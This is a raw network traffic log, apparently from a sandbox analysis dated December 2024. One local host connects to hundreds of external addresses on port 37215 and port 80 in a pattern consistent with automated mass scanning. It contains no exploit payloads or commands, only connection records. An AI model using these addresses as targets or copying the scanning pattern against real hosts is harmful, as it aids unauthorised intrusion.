Dec 3, 2024 21:30:51.404318094 CET	59009	37215	192.168.2.23	41.167.36.65
Dec 3, 2024 21:30:51.404325008 CET	59009	37215	192.168.2.23	156.232.169.193
Dec 3, 2024 21:30:51.404325008 CET	59009	37215	192.168.2.23	41.206.95.114
Dec 3, 2024 21:30:51.404337883 CET	59009	37215	192.168.2.23	197.24.120.156
Dec 3, 2024 21:30:51.404345036 CET	59009	37215	192.168.2.23	197.134.196.224
Dec 3, 2024 21:30:51.404344082 CET	59009	37215	192.168.2.23	197.243.230.89
Dec 3, 2024 21:30:51.404361010 CET	59009	37215	192.168.2.23	197.249.30.12
Dec 3, 2024 21:30:51.404361963 CET	59009	37215	192.168.2.23	41.233.130.238
Dec 3, 2024 21:30:51.404364109 CET	59009	37215	192.168.2.23	197.191.151.99
Dec 3, 2024 21:30:51.404366970 CET	59009	37215	192.168.2.23	156.146.160.170
Dec 3, 2024 21:30:51.404380083 CET	59009	37215	192.168.2.23	41.46.249.3
Dec 3, 2024 21:30:51.404381990 CET	59009	37215	192.168.2.23	41.201.118.232
Dec 3, 2024 21:30:51.404381990 CET	59009	37215	192.168.2.23	156.81.215.115
Dec 3, 2024 21:30:51.404388905 CET	59009	37215	192.168.2.23	156.158.10.161
Dec 3, 2024 21:30:51.404392958 CET	59009	37215	192.168.2.23	41.12.102.170
Dec 3, 2024 21:30:51.404392958 CET	59009	37215	192.168.2.23	156.12.149.105
Dec 3, 2024 21:30:51.404395103 CET	59009	37215	192.168.2.23	41.73.60.241
Dec 3, 2024 21:30:51.404402018 CET	59009	37215	192.168.2.23	197.87.125.255
Dec 3, 2024 21:30:51.404402018 CET	59009	37215	192.168.2.23	197.10.140.136
Dec 3, 2024 21:30:51.404406071 CET	59009	37215	192.168.2.23	41.43.71.149
Dec 3, 2024 21:30:51.404422045 CET	59009	37215	192.168.2.23	156.186.163.202
Dec 3, 2024 21:30:51.404424906 CET	59009	37215	192.168.2.23	197.204.48.66
Dec 3, 2024 21:30:51.404427052 CET	59009	37215	192.168.2.23	156.104.88.15
Dec 3, 2024 21:30:51.404431105 CET	59009	37215	192.168.2.23	156.124.81.61
Dec 3, 2024 21:30:51.404443979 CET	59009	37215	192.168.2.23	197.63.186.145
Dec 3, 2024 21:30:51.404447079 CET	59009	37215	192.168.2.23	156.154.17.230
Dec 3, 2024 21:30:51.404450893 CET	59009	37215	192.168.2.23	197.155.168.210
Dec 3, 2024 21:30:51.404469013 CET	59009	37215	192.168.2.23	156.43.20.94
Dec 3, 2024 21:30:51.404469013 CET	59009	37215	192.168.2.23	41.164.252.169
Dec 3, 2024 21:30:51.404469967 CET	59009	37215	192.168.2.23	41.143.229.47
Dec 3, 2024 21:30:51.404472113 CET	59009	37215	192.168.2.23	156.75.235.73
Dec 3, 2024 21:30:51.404472113 CET	59009	37215	192.168.2.23	197.63.182.157
Dec 3, 2024 21:30:51.404472113 CET	59009	37215	192.168.2.23	41.65.48.250
Dec 3, 2024 21:30:51.404479027 CET	59009	37215	192.168.2.23	197.71.228.89
Dec 3, 2024 21:30:51.404488087 CET	59009	37215	192.168.2.23	197.127.252.249
Dec 3, 2024 21:30:51.404495001 CET	59009	37215	192.168.2.23	197.54.135.139
Dec 3, 2024 21:30:51.404503107 CET	59009	37215	192.168.2.23	156.10.82.184
Dec 3, 2024 21:30:51.404510021 CET	59009	37215	192.168.2.23	197.12.24.247
Dec 3, 2024 21:30:51.404510021 CET	59009	37215	192.168.2.23	156.129.214.51
Dec 3, 2024 21:30:51.404512882 CET	59009	37215	192.168.2.23	197.120.197.173
Dec 3, 2024 21:30:51.404525042 CET	59009	37215	192.168.2.23	41.149.76.245
Dec 3, 2024 21:30:51.404532909 CET	59009	37215	192.168.2.23	156.99.245.172
Dec 3, 2024 21:30:51.404534101 CET	59009	37215	192.168.2.23	41.106.48.105
Dec 3, 2024 21:30:51.404551983 CET	59009	37215	192.168.2.23	197.173.242.254
Dec 3, 2024 21:30:51.404551983 CET	59009	37215	192.168.2.23	156.233.182.185
Dec 3, 2024 21:30:51.404553890 CET	59009	37215	192.168.2.23	197.180.184.107
Dec 3, 2024 21:30:51.404558897 CET	59009	37215	192.168.2.23	156.51.42.201
Dec 3, 2024 21:30:51.404572964 CET	59009	37215	192.168.2.23	156.191.249.6
Dec 3, 2024 21:30:51.404582977 CET	59009	37215	192.168.2.23	41.238.123.172
Dec 3, 2024 21:30:51.404584885 CET	59009	37215	192.168.2.23	197.13.193.110
Dec 3, 2024 21:30:51.404587984 CET	59009	37215	192.168.2.23	41.185.10.80
Dec 3, 2024 21:30:51.404587984 CET	59009	37215	192.168.2.23	197.40.120.82
Dec 3, 2024 21:30:51.404589891 CET	59009	37215	192.168.2.23	41.157.138.2
Dec 3, 2024 21:30:51.404592991 CET	59009	37215	192.168.2.23	41.177.86.28
Dec 3, 2024 21:30:51.404609919 CET	59009	37215	192.168.2.23	41.159.124.192
Dec 3, 2024 21:30:51.404611111 CET	59009	37215	192.168.2.23	41.157.189.225
Dec 3, 2024 21:30:51.404619932 CET	59009	37215	192.168.2.23	156.230.206.238
Dec 3, 2024 21:30:51.404619932 CET	59009	37215	192.168.2.23	156.176.147.195
Dec 3, 2024 21:30:51.404619932 CET	59009	37215	192.168.2.23	197.152.23.57
Dec 3, 2024 21:30:51.404622078 CET	59009	37215	192.168.2.23	156.158.78.197
Dec 3, 2024 21:30:51.404628038 CET	59009	37215	192.168.2.23	156.31.114.141
Dec 3, 2024 21:30:51.404637098 CET	59009	37215	192.168.2.23	197.233.252.85
Dec 3, 2024 21:30:51.404649019 CET	59009	37215	192.168.2.23	156.77.202.223
Dec 3, 2024 21:30:51.404649973 CET	59009	37215	192.168.2.23	41.72.93.88
Dec 3, 2024 21:30:51.404649019 CET	59009	37215	192.168.2.23	41.65.40.85
Dec 3, 2024 21:30:51.404652119 CET	59009	37215	192.168.2.23	156.56.243.12
Dec 3, 2024 21:30:51.404649019 CET	59009	37215	192.168.2.23	41.115.14.110
Dec 3, 2024 21:30:51.404658079 CET	59009	37215	192.168.2.23	41.166.43.102
Dec 3, 2024 21:30:51.404660940 CET	59009	37215	192.168.2.23	156.112.69.70
Dec 3, 2024 21:30:51.404680967 CET	59009	37215	192.168.2.23	197.57.232.187
Dec 3, 2024 21:30:51.404681921 CET	59009	37215	192.168.2.23	41.122.207.143
Dec 3, 2024 21:30:51.404681921 CET	59009	37215	192.168.2.23	41.136.5.161
Dec 3, 2024 21:30:51.404681921 CET	59009	37215	192.168.2.23	156.170.84.227
Dec 3, 2024 21:30:51.404681921 CET	59009	37215	192.168.2.23	197.109.124.166
Dec 3, 2024 21:30:51.404681921 CET	59009	37215	192.168.2.23	41.122.180.68
Dec 3, 2024 21:30:51.404691935 CET	59009	37215	192.168.2.23	156.244.73.22
Dec 3, 2024 21:30:51.404692888 CET	59009	37215	192.168.2.23	41.245.129.29
Dec 3, 2024 21:30:51.404692888 CET	59009	37215	192.168.2.23	41.144.124.203
Dec 3, 2024 21:30:51.404695988 CET	59009	37215	192.168.2.23	41.19.200.129
Dec 3, 2024 21:30:51.404699087 CET	59009	37215	192.168.2.23	41.11.1.99
Dec 3, 2024 21:30:51.404710054 CET	59009	37215	192.168.2.23	41.167.208.45
Dec 3, 2024 21:30:51.404715061 CET	59009	37215	192.168.2.23	197.211.189.105
Dec 3, 2024 21:30:51.404717922 CET	59009	37215	192.168.2.23	41.219.96.148
Dec 3, 2024 21:30:51.404722929 CET	59009	37215	192.168.2.23	197.15.78.101
Dec 3, 2024 21:30:51.404728889 CET	59009	37215	192.168.2.23	156.116.229.226
Dec 3, 2024 21:30:51.404738903 CET	59009	37215	192.168.2.23	41.35.13.142
Dec 3, 2024 21:30:51.404740095 CET	59009	37215	192.168.2.23	41.72.56.151
Dec 3, 2024 21:30:51.404740095 CET	59009	37215	192.168.2.23	41.120.237.7
Dec 3, 2024 21:30:51.404742956 CET	59009	37215	192.168.2.23	197.100.111.198
Dec 3, 2024 21:30:51.404745102 CET	59009	37215	192.168.2.23	156.52.14.177
Dec 3, 2024 21:30:51.404748917 CET	59009	37215	192.168.2.23	197.73.181.69
Dec 3, 2024 21:30:51.404757977 CET	59009	37215	192.168.2.23	197.235.242.6
Dec 3, 2024 21:30:51.404769897 CET	59009	37215	192.168.2.23	41.7.231.34
Dec 3, 2024 21:30:51.404769897 CET	59009	37215	192.168.2.23	156.95.75.130
Dec 3, 2024 21:30:51.404772997 CET	59009	37215	192.168.2.23	41.161.133.204
Dec 3, 2024 21:30:51.404772997 CET	59009	37215	192.168.2.23	156.204.106.90
Dec 3, 2024 21:30:51.404776096 CET	59009	37215	192.168.2.23	41.238.233.150
Dec 3, 2024 21:30:51.404776096 CET	59009	37215	192.168.2.23	156.150.78.169
Dec 3, 2024 21:30:51.404783964 CET	59009	37215	192.168.2.23	156.251.152.67
Dec 3, 2024 21:30:51.404788971 CET	59009	37215	192.168.2.23	156.251.187.215
Dec 3, 2024 21:30:51.404791117 CET	59009	37215	192.168.2.23	156.78.99.177
Dec 3, 2024 21:30:51.404807091 CET	59009	37215	192.168.2.23	41.241.139.201
Dec 3, 2024 21:30:51.404808998 CET	59009	37215	192.168.2.23	156.139.98.94
Dec 3, 2024 21:30:51.404810905 CET	59009	37215	192.168.2.23	197.174.187.44
Dec 3, 2024 21:30:51.404822111 CET	59009	37215	192.168.2.23	197.20.85.121
Dec 3, 2024 21:30:51.404824972 CET	59009	37215	192.168.2.23	156.192.20.112
Dec 3, 2024 21:30:51.404828072 CET	59009	37215	192.168.2.23	156.189.39.72
Dec 3, 2024 21:30:51.404834986 CET	59009	37215	192.168.2.23	197.143.215.74
Dec 3, 2024 21:30:51.404835939 CET	59009	37215	192.168.2.23	156.43.6.13
Dec 3, 2024 21:30:51.404848099 CET	59009	37215	192.168.2.23	197.130.13.102
Dec 3, 2024 21:30:51.404850960 CET	59009	37215	192.168.2.23	41.211.7.244
Dec 3, 2024 21:30:51.404853106 CET	59009	37215	192.168.2.23	41.26.142.223
Dec 3, 2024 21:30:51.404853106 CET	59009	37215	192.168.2.23	156.194.143.99
Dec 3, 2024 21:30:51.404854059 CET	59009	37215	192.168.2.23	197.250.188.209
Dec 3, 2024 21:30:51.404859066 CET	59009	37215	192.168.2.23	156.251.194.148
Dec 3, 2024 21:30:51.404870033 CET	59009	37215	192.168.2.23	156.9.250.172
Dec 3, 2024 21:30:51.404870987 CET	59009	37215	192.168.2.23	156.227.229.231
Dec 3, 2024 21:30:51.404872894 CET	59009	37215	192.168.2.23	41.26.247.225
Dec 3, 2024 21:30:51.404875994 CET	59009	37215	192.168.2.23	197.93.157.190
Dec 3, 2024 21:30:51.404885054 CET	59009	37215	192.168.2.23	41.21.217.162
Dec 3, 2024 21:30:51.404886961 CET	59009	37215	192.168.2.23	197.214.17.18
Dec 3, 2024 21:30:51.404902935 CET	59009	37215	192.168.2.23	41.83.195.14
Dec 3, 2024 21:30:51.404902935 CET	59009	37215	192.168.2.23	197.191.6.149
Dec 3, 2024 21:30:51.404917002 CET	59009	37215	192.168.2.23	41.50.21.157
Dec 3, 2024 21:30:51.404917955 CET	59009	37215	192.168.2.23	197.228.147.90
Dec 3, 2024 21:30:51.404917955 CET	59009	37215	192.168.2.23	197.203.237.5
Dec 3, 2024 21:30:51.404925108 CET	59009	37215	192.168.2.23	156.129.140.205
Dec 3, 2024 21:30:51.404937029 CET	59009	37215	192.168.2.23	156.42.134.249
Dec 3, 2024 21:30:51.404937029 CET	59009	37215	192.168.2.23	197.220.14.69
Dec 3, 2024 21:30:51.404942036 CET	59009	37215	192.168.2.23	156.228.192.59
Dec 3, 2024 21:30:51.404947996 CET	59009	37215	192.168.2.23	197.124.229.209
Dec 3, 2024 21:30:51.404973030 CET	59009	37215	192.168.2.23	156.193.50.48
Dec 3, 2024 21:30:51.404973030 CET	59009	37215	192.168.2.23	156.99.45.155
Dec 3, 2024 21:30:51.404973030 CET	59009	37215	192.168.2.23	156.115.29.37
Dec 3, 2024 21:30:51.404974937 CET	59009	37215	192.168.2.23	156.29.171.139
Dec 3, 2024 21:30:51.404974937 CET	59009	37215	192.168.2.23	41.162.40.165
Dec 3, 2024 21:30:51.404974937 CET	59009	37215	192.168.2.23	41.234.15.187
Dec 3, 2024 21:30:51.404974937 CET	59009	37215	192.168.2.23	197.159.47.88
Dec 3, 2024 21:30:51.404974937 CET	59009	37215	192.168.2.23	197.177.211.59
Dec 3, 2024 21:30:51.404978037 CET	59009	37215	192.168.2.23	197.185.122.143
Dec 3, 2024 21:30:51.404983997 CET	59009	37215	192.168.2.23	156.175.68.212
Dec 3, 2024 21:30:51.404984951 CET	59009	37215	192.168.2.23	41.3.230.243
Dec 3, 2024 21:30:51.404987097 CET	59009	37215	192.168.2.23	156.5.179.172
Dec 3, 2024 21:30:51.404992104 CET	59009	37215	192.168.2.23	156.3.168.253
Dec 3, 2024 21:30:51.404995918 CET	59009	37215	192.168.2.23	197.228.33.107
Dec 3, 2024 21:30:51.404997110 CET	59009	37215	192.168.2.23	41.101.180.71
Dec 3, 2024 21:30:51.404999018 CET	59009	37215	192.168.2.23	41.116.196.169
Dec 3, 2024 21:30:51.404999018 CET	59009	37215	192.168.2.23	197.65.234.141
Dec 3, 2024 21:30:51.404999018 CET	59009	37215	192.168.2.23	197.38.177.141
Dec 3, 2024 21:30:51.405004025 CET	59009	37215	192.168.2.23	41.170.224.177
Dec 3, 2024 21:30:51.405005932 CET	59009	37215	192.168.2.23	197.217.227.100
Dec 3, 2024 21:30:51.405015945 CET	59009	37215	192.168.2.23	197.29.234.14
Dec 3, 2024 21:30:51.405015945 CET	59009	37215	192.168.2.23	197.140.228.99
Dec 3, 2024 21:30:51.405029058 CET	59009	37215	192.168.2.23	41.144.1.221
Dec 3, 2024 21:30:51.405035973 CET	59009	37215	192.168.2.23	41.50.174.153
Dec 3, 2024 21:30:51.405036926 CET	59009	37215	192.168.2.23	197.53.65.185
Dec 3, 2024 21:30:51.405040026 CET	59009	37215	192.168.2.23	197.124.199.251
Dec 3, 2024 21:30:51.405045986 CET	59009	37215	192.168.2.23	197.107.34.153
Dec 3, 2024 21:30:51.405059099 CET	59009	37215	192.168.2.23	41.179.71.51
Dec 3, 2024 21:30:51.405061960 CET	59009	37215	192.168.2.23	156.57.12.99
Dec 3, 2024 21:30:51.405061960 CET	59009	37215	192.168.2.23	41.166.250.70
Dec 3, 2024 21:30:51.405066013 CET	59009	37215	192.168.2.23	156.238.226.250
Dec 3, 2024 21:30:51.405066013 CET	59009	37215	192.168.2.23	41.232.187.90
Dec 3, 2024 21:30:51.405066967 CET	59009	37215	192.168.2.23	197.218.9.76
Dec 3, 2024 21:30:51.405066967 CET	59009	37215	192.168.2.23	41.147.7.202
Dec 3, 2024 21:30:51.405075073 CET	59009	37215	192.168.2.23	197.61.28.154
Dec 3, 2024 21:30:51.405075073 CET	59009	37215	192.168.2.23	197.201.67.39
Dec 3, 2024 21:30:51.405088902 CET	59009	37215	192.168.2.23	156.82.58.42
Dec 3, 2024 21:30:51.405088902 CET	59009	37215	192.168.2.23	197.72.158.102
Dec 3, 2024 21:30:51.405092001 CET	59009	37215	192.168.2.23	41.74.76.114
Dec 3, 2024 21:30:51.405093908 CET	59009	37215	192.168.2.23	197.196.94.198
Dec 3, 2024 21:30:51.405106068 CET	59009	37215	192.168.2.23	41.97.255.174
Dec 3, 2024 21:30:51.405111074 CET	59009	37215	192.168.2.23	41.98.37.243
Dec 3, 2024 21:30:51.405112982 CET	59009	37215	192.168.2.23	41.247.39.23
Dec 3, 2024 21:30:51.405123949 CET	59009	37215	192.168.2.23	41.87.121.80
Dec 3, 2024 21:30:51.405124903 CET	59009	37215	192.168.2.23	197.61.171.51
Dec 3, 2024 21:30:51.405132055 CET	59009	37215	192.168.2.23	197.61.7.156
Dec 3, 2024 21:30:51.405138969 CET	59009	37215	192.168.2.23	156.8.127.5
Dec 3, 2024 21:30:51.405144930 CET	59009	37215	192.168.2.23	156.170.214.100
Dec 3, 2024 21:30:51.405148029 CET	59009	37215	192.168.2.23	197.253.64.117
Dec 3, 2024 21:30:51.405157089 CET	59009	37215	192.168.2.23	156.43.107.15
Dec 3, 2024 21:30:51.405168056 CET	59009	37215	192.168.2.23	197.97.107.102
Dec 3, 2024 21:30:51.405172110 CET	59009	37215	192.168.2.23	156.9.100.165
Dec 3, 2024 21:30:51.405175924 CET	59009	37215	192.168.2.23	41.245.78.245
Dec 3, 2024 21:30:51.405178070 CET	59009	37215	192.168.2.23	41.156.23.88
Dec 3, 2024 21:30:51.405184031 CET	59009	37215	192.168.2.23	156.12.223.138
Dec 3, 2024 21:30:51.405195951 CET	59009	37215	192.168.2.23	156.133.143.88
Dec 3, 2024 21:30:51.405199051 CET	59009	37215	192.168.2.23	197.165.81.141
Dec 3, 2024 21:30:51.405205965 CET	59009	37215	192.168.2.23	197.116.30.141
Dec 3, 2024 21:30:51.405213118 CET	59009	37215	192.168.2.23	197.192.41.129
Dec 3, 2024 21:30:51.405215979 CET	59009	37215	192.168.2.23	197.64.125.168
Dec 3, 2024 21:30:51.405231953 CET	59009	37215	192.168.2.23	197.213.197.0
Dec 3, 2024 21:30:51.405231953 CET	59009	37215	192.168.2.23	41.125.109.164
Dec 3, 2024 21:30:51.405232906 CET	59009	37215	192.168.2.23	197.148.184.118
Dec 3, 2024 21:30:51.405244112 CET	59009	37215	192.168.2.23	197.212.240.193
Dec 3, 2024 21:30:51.405245066 CET	59009	37215	192.168.2.23	41.246.222.254
Dec 3, 2024 21:30:51.405251980 CET	59009	37215	192.168.2.23	156.226.1.71
Dec 3, 2024 21:30:51.405252934 CET	59009	37215	192.168.2.23	197.176.245.228
Dec 3, 2024 21:30:51.405256033 CET	59009	37215	192.168.2.23	156.37.66.67
Dec 3, 2024 21:30:51.405256987 CET	59009	37215	192.168.2.23	156.31.239.126
Dec 3, 2024 21:30:51.405256987 CET	59009	37215	192.168.2.23	156.56.101.177
Dec 3, 2024 21:30:51.405262947 CET	59009	37215	192.168.2.23	41.35.115.31
Dec 3, 2024 21:30:51.405265093 CET	59009	37215	192.168.2.23	156.210.59.167
Dec 3, 2024 21:30:51.405278921 CET	59009	37215	192.168.2.23	197.189.19.34
Dec 3, 2024 21:30:51.405281067 CET	59009	37215	192.168.2.23	41.107.122.239
Dec 3, 2024 21:30:51.405287027 CET	59009	37215	192.168.2.23	41.56.101.199
Dec 3, 2024 21:30:51.405297995 CET	59009	37215	192.168.2.23	156.80.172.141
Dec 3, 2024 21:30:51.405297995 CET	59009	37215	192.168.2.23	197.121.239.106
Dec 3, 2024 21:30:51.405303955 CET	59009	37215	192.168.2.23	156.191.207.41
Dec 3, 2024 21:30:51.405306101 CET	59009	37215	192.168.2.23	197.244.159.234
Dec 3, 2024 21:30:51.405312061 CET	59009	37215	192.168.2.23	41.153.7.21
Dec 3, 2024 21:30:51.405317068 CET	59009	37215	192.168.2.23	197.31.217.186
Dec 3, 2024 21:30:51.405328989 CET	59009	37215	192.168.2.23	156.21.239.200
Dec 3, 2024 21:30:51.405334949 CET	59009	37215	192.168.2.23	41.47.175.160
Dec 3, 2024 21:30:51.405348063 CET	59009	37215	192.168.2.23	41.18.7.170
Dec 3, 2024 21:30:51.405349016 CET	59009	37215	192.168.2.23	156.44.106.65
Dec 3, 2024 21:30:51.405349970 CET	59009	37215	192.168.2.23	41.70.93.70
Dec 3, 2024 21:30:51.405354023 CET	59009	37215	192.168.2.23	156.154.212.202
Dec 3, 2024 21:30:51.405361891 CET	59009	37215	192.168.2.23	156.207.140.235
Dec 3, 2024 21:30:51.405364990 CET	59009	37215	192.168.2.23	41.244.224.60
Dec 3, 2024 21:30:51.405368090 CET	59009	37215	192.168.2.23	197.117.1.52
Dec 3, 2024 21:30:51.405369997 CET	59009	37215	192.168.2.23	197.122.227.218
Dec 3, 2024 21:30:51.405383110 CET	59009	37215	192.168.2.23	156.83.121.138
Dec 3, 2024 21:30:51.405383110 CET	59009	37215	192.168.2.23	156.213.162.67
Dec 3, 2024 21:30:51.405397892 CET	59009	37215	192.168.2.23	156.182.107.250
Dec 3, 2024 21:30:51.405399084 CET	59009	37215	192.168.2.23	156.119.131.138
Dec 3, 2024 21:30:51.405400991 CET	59009	37215	192.168.2.23	156.119.253.255
Dec 3, 2024 21:30:51.405400991 CET	59009	37215	192.168.2.23	156.27.63.216
Dec 3, 2024 21:30:51.405406952 CET	59009	37215	192.168.2.23	156.223.154.24
Dec 3, 2024 21:30:51.405416965 CET	59009	37215	192.168.2.23	197.21.61.192
Dec 3, 2024 21:30:51.405421972 CET	59009	37215	192.168.2.23	156.153.136.74
Dec 3, 2024 21:30:51.405426025 CET	59009	37215	192.168.2.23	156.15.85.247
Dec 3, 2024 21:30:51.405427933 CET	59009	37215	192.168.2.23	197.119.243.224
Dec 3, 2024 21:30:51.405441046 CET	59009	37215	192.168.2.23	156.226.248.104
Dec 3, 2024 21:30:51.405445099 CET	59009	37215	192.168.2.23	41.133.179.80
Dec 3, 2024 21:30:51.405452013 CET	59009	37215	192.168.2.23	156.80.15.87
Dec 3, 2024 21:30:51.405455112 CET	59009	37215	192.168.2.23	197.28.39.236
Dec 3, 2024 21:30:51.405461073 CET	59009	37215	192.168.2.23	41.86.53.236
Dec 3, 2024 21:30:51.405462027 CET	59009	37215	192.168.2.23	41.153.130.130
Dec 3, 2024 21:30:51.405478954 CET	59009	37215	192.168.2.23	41.249.57.240
Dec 3, 2024 21:30:51.405478954 CET	59009	37215	192.168.2.23	197.218.86.223
Dec 3, 2024 21:30:51.405481100 CET	59009	37215	192.168.2.23	156.28.128.177
Dec 3, 2024 21:30:51.405481100 CET	59009	37215	192.168.2.23	41.238.90.250
Dec 3, 2024 21:30:51.405484915 CET	59009	37215	192.168.2.23	197.117.224.166
Dec 3, 2024 21:30:51.405484915 CET	59009	37215	192.168.2.23	156.116.70.193
Dec 3, 2024 21:30:51.405493975 CET	59009	37215	192.168.2.23	156.77.232.198
Dec 3, 2024 21:30:51.405497074 CET	59009	37215	192.168.2.23	41.16.253.60
Dec 3, 2024 21:30:51.405504942 CET	59009	37215	192.168.2.23	156.224.23.134
Dec 3, 2024 21:30:51.405509949 CET	59009	37215	192.168.2.23	197.218.215.111
Dec 3, 2024 21:30:51.405514956 CET	59009	37215	192.168.2.23	156.38.86.220
Dec 3, 2024 21:30:51.405523062 CET	59009	37215	192.168.2.23	41.107.68.190
Dec 3, 2024 21:30:51.405529976 CET	59009	37215	192.168.2.23	41.245.185.157
Dec 3, 2024 21:30:51.405539036 CET	59009	37215	192.168.2.23	197.163.205.12
Dec 3, 2024 21:30:51.436480045 CET	80	55456	120.196.61.187	192.168.2.23
Dec 3, 2024 21:30:51.436494112 CET	80	60912	138.250.81.210	192.168.2.23
Dec 3, 2024 21:30:51.436510086 CET	37215	47868	156.128.47.189	192.168.2.23
Dec 3, 2024 21:30:51.436520100 CET	37215	60504	156.221.107.169	192.168.2.23
Dec 3, 2024 21:30:51.436527967 CET	80	44650	185.221.32.180	192.168.2.23
Dec 3, 2024 21:30:51.436537027 CET	60912	80	192.168.2.23	138.250.81.210
Dec 3, 2024 21:30:51.436537981 CET	37215	45402	41.130.173.219	192.168.2.23
Dec 3, 2024 21:30:51.436547041 CET	80	45976	171.48.150.224	192.168.2.23
Dec 3, 2024 21:30:51.436547041 CET	55456	80	192.168.2.23	120.196.61.187
Dec 3, 2024 21:30:51.436549902 CET	47868	37215	192.168.2.23	156.128.47.189
Dec 3, 2024 21:30:51.436553001 CET	60504	37215	192.168.2.23	156.221.107.169
Dec 3, 2024 21:30:51.436572075 CET	80	60662	104.234.241.23	192.168.2.23
Dec 3, 2024 21:30:51.436572075 CET	45402	37215	192.168.2.23	41.130.173.219
Dec 3, 2024 21:30:51.436573029 CET	44650	80	192.168.2.23	185.221.32.180
Dec 3, 2024 21:30:51.436573982 CET	45976	80	192.168.2.23	171.48.150.224
Dec 3, 2024 21:30:51.436582088 CET	80	60540	145.105.254.172	192.168.2.23
Dec 3, 2024 21:30:51.436589003 CET	80	42290	24.242.230.192	192.168.2.23
Dec 3, 2024 21:30:51.436598063 CET	80	40168	5.104.106.96	192.168.2.23
Dec 3, 2024 21:30:51.436609030 CET	80	35064	24.149.246.129	192.168.2.23
Dec 3, 2024 21:30:51.436610937 CET	60662	80	192.168.2.23	104.234.241.23
Dec 3, 2024 21:30:51.436614990 CET	60540	80	192.168.2.23	145.105.254.172
Dec 3, 2024 21:30:51.436625004 CET	45402	37215	192.168.2.23	41.130.173.219
Dec 3, 2024 21:30:51.436625004 CET	80	38450	25.253.247.243	192.168.2.23
Dec 3, 2024 21:30:51.436630964 CET	47868	37215	192.168.2.23	156.128.47.189
Dec 3, 2024 21:30:51.436631918 CET	40168	80	192.168.2.23	5.104.106.96
Dec 3, 2024 21:30:51.436645031 CET	60504	37215	192.168.2.23	156.221.107.169
Dec 3, 2024 21:30:51.436646938 CET	35064	80	192.168.2.23	24.149.246.129
Dec 3, 2024 21:30:51.436647892 CET	42290	80	192.168.2.23	24.242.230.192
Dec 3, 2024 21:30:51.436650038 CET	80	34086	92.42.91.229	192.168.2.23
Dec 3, 2024 21:30:51.436661005 CET	80	51818	46.19.30.11	192.168.2.23
Dec 3, 2024 21:30:51.436675072 CET	38450	80	192.168.2.23	25.253.247.243
Dec 3, 2024 21:30:51.436687946 CET	34086	80	192.168.2.23	92.42.91.229
Dec 3, 2024 21:30:51.436690092 CET	51818	80	192.168.2.23	46.19.30.11
Dec 3, 2024 21:30:51.436702013 CET	80	47700	136.13.75.65	192.168.2.23
Dec 3, 2024 21:30:51.436711073 CET	44650	80	192.168.2.23	185.221.32.180
Dec 3, 2024 21:30:51.436712027 CET	37215	48402	156.190.175.18	192.168.2.23
Dec 3, 2024 21:30:51.436724901 CET	55456	80	192.168.2.23	120.196.61.187
Dec 3, 2024 21:30:51.436728001 CET	60912	80	192.168.2.23	138.250.81.210
Dec 3, 2024 21:30:51.436728001 CET	80	59102	217.117.141.188	192.168.2.23
Dec 3, 2024 21:30:51.436734915 CET	47700	80	192.168.2.23	136.13.75.65
Dec 3, 2024 21:30:51.436737061 CET	37215	44054	41.0.186.183	192.168.2.23
Dec 3, 2024 21:30:51.436742067 CET	80	48184	216.131.217.108	192.168.2.23
Dec 3, 2024 21:30:51.436745882 CET	48402	37215	192.168.2.23	156.190.175.18
Dec 3, 2024 21:30:51.436757088 CET	59010	80	192.168.2.23	46.150.128.128
Dec 3, 2024 21:30:51.436769962 CET	44054	37215	192.168.2.23	41.0.186.183
Dec 3, 2024 21:30:51.436770916 CET	59102	80	192.168.2.23	217.117.141.188
Dec 3, 2024 21:30:51.436773062 CET	48184	80	192.168.2.23	216.131.217.108
Dec 3, 2024 21:30:51.436773062 CET	37215	46082	156.79.21.228	192.168.2.23
Dec 3, 2024 21:30:51.436780930 CET	59010	80	192.168.2.23	221.230.52.36
Dec 3, 2024 21:30:51.436781883 CET	59010	80	192.168.2.23	220.142.4.23
Dec 3, 2024 21:30:51.436781883 CET	59010	80	192.168.2.23	67.181.179.91
Dec 3, 2024 21:30:51.436784983 CET	37215	37982	197.244.48.70	192.168.2.23
Dec 3, 2024 21:30:51.436793089 CET	59010	80	192.168.2.23	184.8.50.113
Dec 3, 2024 21:30:51.436795950 CET	80	35318	142.202.33.132	192.168.2.23
Dec 3, 2024 21:30:51.436805964 CET	59010	80	192.168.2.23	62.136.91.193
Dec 3, 2024 21:30:51.436808109 CET	59010	80	192.168.2.23	192.170.197.74
Dec 3, 2024 21:30:51.436810017 CET	46082	37215	192.168.2.23	156.79.21.228
Dec 3, 2024 21:30:51.436810017 CET	37982	37215	192.168.2.23	197.244.48.70
Dec 3, 2024 21:30:51.436819077 CET	59010	80	192.168.2.23	25.186.148.250
Dec 3, 2024 21:30:51.436825037 CET	59010	80	192.168.2.23	160.13.141.174
Dec 3, 2024 21:30:51.436835051 CET	35318	80	192.168.2.23	142.202.33.132
Dec 3, 2024 21:30:51.436836004 CET	59010	80	192.168.2.23	83.166.233.104
Dec 3, 2024 21:30:51.436837912 CET	59010	80	192.168.2.23	188.208.105.78
Dec 3, 2024 21:30:51.436851025 CET	59010	80	192.168.2.23	205.195.112.200
Dec 3, 2024 21:30:51.436855078 CET	59010	80	192.168.2.23	142.194.66.57
Dec 3, 2024 21:30:51.436861038 CET	59010	80	192.168.2.23	211.241.168.235
Dec 3, 2024 21:30:51.436863899 CET	80	38728	42.199.59.6	192.168.2.23
Dec 3, 2024 21:30:51.436870098 CET	59010	80	192.168.2.23	111.1.25.197
Dec 3, 2024 21:30:51.436871052 CET	59010	80	192.168.2.23	92.218.255.141
Dec 3, 2024 21:30:51.436871052 CET	59010	80	192.168.2.23	199.138.124.214
Dec 3, 2024 21:30:51.436873913 CET	80	57412	23.46.95.33	192.168.2.23
Dec 3, 2024 21:30:51.436878920 CET	59010	80	192.168.2.23	126.42.83.88
Dec 3, 2024 21:30:51.436878920 CET	59010	80	192.168.2.23	93.4.52.174
Dec 3, 2024 21:30:51.436893940 CET	59010	80	192.168.2.23	80.230.103.3
Dec 3, 2024 21:30:51.436896086 CET	38728	80	192.168.2.23	42.199.59.6
Dec 3, 2024 21:30:51.436903000 CET	57412	80	192.168.2.23	23.46.95.33
Dec 3, 2024 21:30:51.436903954 CET	59010	80	192.168.2.23	167.40.203.58
Dec 3, 2024 21:30:51.436909914 CET	80	43754	4.17.178.247	192.168.2.23
Dec 3, 2024 21:30:51.436914921 CET	59010	80	192.168.2.23	175.234.226.60
Dec 3, 2024 21:30:51.436923027 CET	59010	80	192.168.2.23	123.162.210.245
Dec 3, 2024 21:30:51.436923981 CET	59010	80	192.168.2.23	49.243.174.73
